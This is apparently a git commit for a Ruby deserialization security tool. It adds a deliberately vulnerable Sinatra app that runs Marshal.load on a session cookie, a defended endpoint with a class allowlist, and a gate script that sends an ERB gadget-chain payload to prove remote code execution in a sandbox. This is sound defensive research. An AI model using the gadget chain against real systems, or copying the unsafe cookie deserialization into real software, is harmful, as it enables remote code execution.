feat(rube): M5 vulnerable target - end-to-end RCE over HTTP, with the defense beside it

Sinatra on webrick in a container, storing session state as a base64 Marshal
blob in a cookie. Three endpoints: /render deserializes and compiles the
session template, /render/safe inspects the stream first, /canary reports
execution. Runs read-only, unprivileged, with a 1MB noexec tmpfs, on a high
configurable host port.

Gate proves three things and the third is what stops the defense being a brick:

  PASS  HTTP request achieved code execution through Marshal.load
  PASS  defended endpoint rejected the identical payload
  PASS  defended endpoint still serves a legitimate session

Two findings that change the defensive design.

Sink tags do not catch this chain. The working payload produces ZERO sink-tag
hits. ERB defines no marshal_load, so it serializes as a plain object with
instance variables and carries no u, U or d tag. The defended endpoint rejected
it on the class allowlist, and an application that allowlisted ERB as a
legitimate template class would have passed it through untouched. A gadget does
not need a marshal_load hook, it needs an object whose ivars the application
later feeds to a dangerous method. The dangerous call site lives in the
application, not in the serialized class. Any policy treating absence of sink
tags as safe is defeated by this exact public payload.

A legitimately initialized ERB cannot be serialized at all. @_init holds
self.class.singleton_class and Marshal raises TypeError: singleton class can't
be dumped. So the guard is not a flag an attacker might satisfy, it is anchored
to a value the serializer physically cannot reproduce. Any ERB an attacker can
serialize necessarily lacks a valid @_init. The generalized pattern for learn/:
do not validate the untrusted object, anchor trust to something unreachable
through the channel.

Also fixes a gate that skipped a control silently. The benign-session check
produced no output because POST with no body returns WEBrick LengthRequired,
and the script treated an empty result as nothing to test rather than as a
failure. It now fails loudly.

70 tests, 151 assertions, 0 failures. Target app excluded from the gem
manifest, verified at 0 files.
This commit is contained in:
CarterPerez-dev 2026-07-26 10:17:23 -04:00
parent b082276376
commit 21ecc0eece
5 changed files with 286 additions and 1 deletions

View File

@ -36,7 +36,10 @@ matrix:
exploit:
@bash scripts/exploit-gate.sh
gate: check matrix exploit
target:
@bash scripts/target-gate.sh
gate: check matrix exploit target
build:
{{run}} sh -c "gem build --strict rube.gemspec"

View File

@ -0,0 +1,144 @@
#!/usr/bin/env bash
# ©AngelaMos | 2026
# target-gate.sh
set -uo pipefail
HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
IMAGE="rube-target:local"
CONTAINER="rube-target-gate"
PORT="${RUBE_TARGET_PORT:-47823}"
BASE="http://127.0.0.1:${PORT}"
CANARY_MARKER="fired"
cleanup() {
docker rm -f "${CONTAINER}" >/dev/null 2>&1 || true
}
trap cleanup EXIT
echo "building target image"
docker build -q -f "${HERE}/target/Dockerfile" -t "${IMAGE}" "${HERE}" >/dev/null || {
echo "FAIL image build"
exit 1
}
cleanup
docker run -d --name "${CONTAINER}" \
--network bridge \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=1m \
-p "127.0.0.1:${PORT}:4567" \
"${IMAGE}" >/dev/null
for _ in $(seq 1 40); do
curl -sf "${BASE}/" >/dev/null 2>&1 && break
sleep 0.5
done
if ! curl -sf "${BASE}/" >/dev/null 2>&1; then
echo "FAIL target never became reachable on ${PORT}"
docker logs "${CONTAINER}" 2>&1 | tail -20
exit 1
fi
echo
curl -s "${BASE}/" | head -3
echo
payload="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app ruby:4.0-slim \
ruby -Ilib -e '
require "rube"
require "base64"
chain = Rube::Chains::ErbDefMethod.canary("/tmp/rube-canary", "fired")
state = { user: "attacker", template: chain.generate }
print Base64.strict_encode64(Marshal.dump(state))
')"
if [[ -z "${payload}" ]]; then
echo "FAIL payload generation produced nothing"
exit 1
fi
failures=0
before="$(curl -s "${BASE}/canary")"
vulnerable_body="$(curl -s --cookie "session_state=${payload}" "${BASE}/render")"
after="$(curl -s "${BASE}/canary")"
echo " vulnerable endpoint : ${vulnerable_body}"
echo " canary before/after : ${before} -> ${after}"
if [[ "${after}" == "${CANARY_MARKER}" && "${before}" != "${CANARY_MARKER}" ]]; then
echo " PASS HTTP request achieved code execution through Marshal.load"
else
echo " FAIL payload did not execute over HTTP"
failures=$((failures + 1))
fi
docker exec "${CONTAINER}" rm -f /tmp/rube-canary >/dev/null 2>&1 || true
reset="$(curl -s "${BASE}/canary")"
safe_body="$(curl -s --cookie "session_state=${payload}" "${BASE}/render/safe")"
safe_after="$(curl -s "${BASE}/canary")"
echo
echo " defended endpoint : ${safe_body}"
echo " canary before/after : ${reset} -> ${safe_after}"
if [[ "${safe_after}" != "${CANARY_MARKER}" && "${safe_body}" == rejected* ]]; then
echo " PASS defended endpoint rejected the identical payload"
else
echo " FAIL defended endpoint did not reject the payload"
failures=$((failures + 1))
fi
jar="$(mktemp)"
curl -s -X POST "${BASE}/session" -d "" -c "${jar}" >/dev/null
benign="$(awk '$6 == "session_state" {print $7}' "${jar}")"
rm -f "${jar}"
echo
if [[ -z "${benign}" ]]; then
echo " FAIL could not obtain a benign session, the control did not run"
failures=$((failures + 1))
else
benign_body="$(curl -s --cookie "session_state=${benign}" "${BASE}/render/safe")"
echo " benign on defended : ${benign_body}"
if [[ "${benign_body}" == rejected* ]]; then
echo " FAIL defended endpoint rejects legitimate sessions, it is not a filter"
failures=$((failures + 1))
else
echo " PASS defended endpoint still serves a legitimate session"
fi
fi
echo
sinks="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app ruby:4.0-slim \
ruby -Ilib -e '
require "rube"
require "base64"
chain = Rube::Chains::ErbDefMethod.canary("/tmp/rube-canary", "fired")
blob = Marshal.dump({ user: "attacker", template: chain.generate })
result = Rube::Marshal::Parser.new(blob).parse
print result.sinks.length
')"
echo " sink-tag hits on the working payload : ${sinks}"
if [[ "${sinks}" == "0" ]]; then
echo " NOTE sink detection alone does NOT catch this chain, only the class"
echo " allowlist does. ERB defines no marshal_load, so it serializes as"
echo " a plain object and carries no sink tag."
else
echo " FAIL expected the ERB chain to carry no sink tag, got ${sinks}"
failures=$((failures + 1))
fi
echo
if [[ ${failures} -eq 0 ]]; then
echo "GATE PASSED"
exit 0
fi
echo "GATE FAILED (${failures})"
exit 1

View File

@ -0,0 +1,20 @@
# ©AngelaMos | 2026
# Dockerfile
FROM ruby:4.0.2-slim
RUN gem install --no-document sinatra rackup webrick
WORKDIR /app
COPY lib /app/lib
COPY target/app.rb /app/target/app.rb
COPY target/config.ru /app/config.ru
ENV RUBYOPT="-I/app/lib"
EXPOSE 4567
USER nobody
CMD ["rackup", "--server", "webrick", "--host", "0.0.0.0", "--port", "4567"]

View File

@ -0,0 +1,112 @@
# ©AngelaMos | 2026
# app.rb
require "sinatra/base"
require "base64"
require "erb"
require "rube"
module Rube
module Target
COOKIE_NAME = "session_state"
CANARY_PATH = "/tmp/rube-canary"
STATUS_OK = 200
STATUS_BAD_REQUEST = 400
CONTENT_TYPE = "text/plain"
ALLOWED_CLASSES = %w[Hash String Symbol Integer Array].freeze
BENIGN_TEMPLATE = "hello"
REJECTED_SINK = "rejected: payload reaches %s#%s before any allowlist can run"
REJECTED_CLASS = "rejected: payload references %s"
RENDERED = "rendered template for %s"
NO_SESSION = "no session cookie"
MALFORMED = "rejected: malformed stream (%s)"
class App < Sinatra::Base
set :host_authorization, permitted_hosts: []
get "/" do
content_type CONTENT_TYPE
[
"rube target",
"erb #{Gem::Specification.find_all_by_name('erb').map(&:version).max}",
"ruby #{RUBY_VERSION}",
"",
"POST /session issue a benign session cookie",
"GET /render deserialize and compile the session template (VULNERABLE)",
"GET /render/safe inspect the stream before deserializing (DEFENDED)",
"GET /canary report whether the canary file exists"
].join("\n")
end
post "/session" do
state = { user: "guest", template: BENIGN_TEMPLATE }
response.set_cookie(COOKIE_NAME, value: encode(state), path: "/")
content_type CONTENT_TYPE
"session issued"
end
get "/render" do
content_type CONTENT_TYPE
blob = decode(request.cookies[COOKIE_NAME])
halt STATUS_BAD_REQUEST, NO_SESSION unless blob
state = ::Marshal.load(blob)
compile(state)
end
get "/render/safe" do
content_type CONTENT_TYPE
blob = decode(request.cookies[COOKIE_NAME])
halt STATUS_BAD_REQUEST, NO_SESSION unless blob
verdict = inspect_stream(blob)
halt STATUS_BAD_REQUEST, verdict if verdict
compile(::Marshal.load(blob))
end
get "/canary" do
content_type CONTENT_TYPE
File.exist?(CANARY_PATH) ? File.read(CANARY_PATH) : "absent"
end
private
def encode(state)
Base64.strict_encode64(::Marshal.dump(state))
end
def decode(raw)
return nil unless raw
Base64.strict_decode64(raw)
rescue ArgumentError
nil
end
def compile(state)
template = state[:template]
template.def_method(Module.new, "render_it") if template.respond_to?(:def_method)
format(RENDERED, state[:user])
end
def inspect_stream(blob)
result = Rube::Marshal::Parser.new(blob).parse
sink = result.sinks.first
return format(REJECTED_SINK, sink.class_name, sink.sink_method) if sink
unknown = result.class_names.reject { |name| ALLOWED_CLASSES.include?(name) }
return format(REJECTED_CLASS, unknown.join(", ")) unless unknown.empty?
nil
rescue Rube::Marshal::StreamError => e
format(MALFORMED, e.class.name.split("::").last)
end
end
end
end

View File

@ -0,0 +1,6 @@
# ©AngelaMos | 2026
# config.ru
require_relative "target/app"
run Rube::Target::App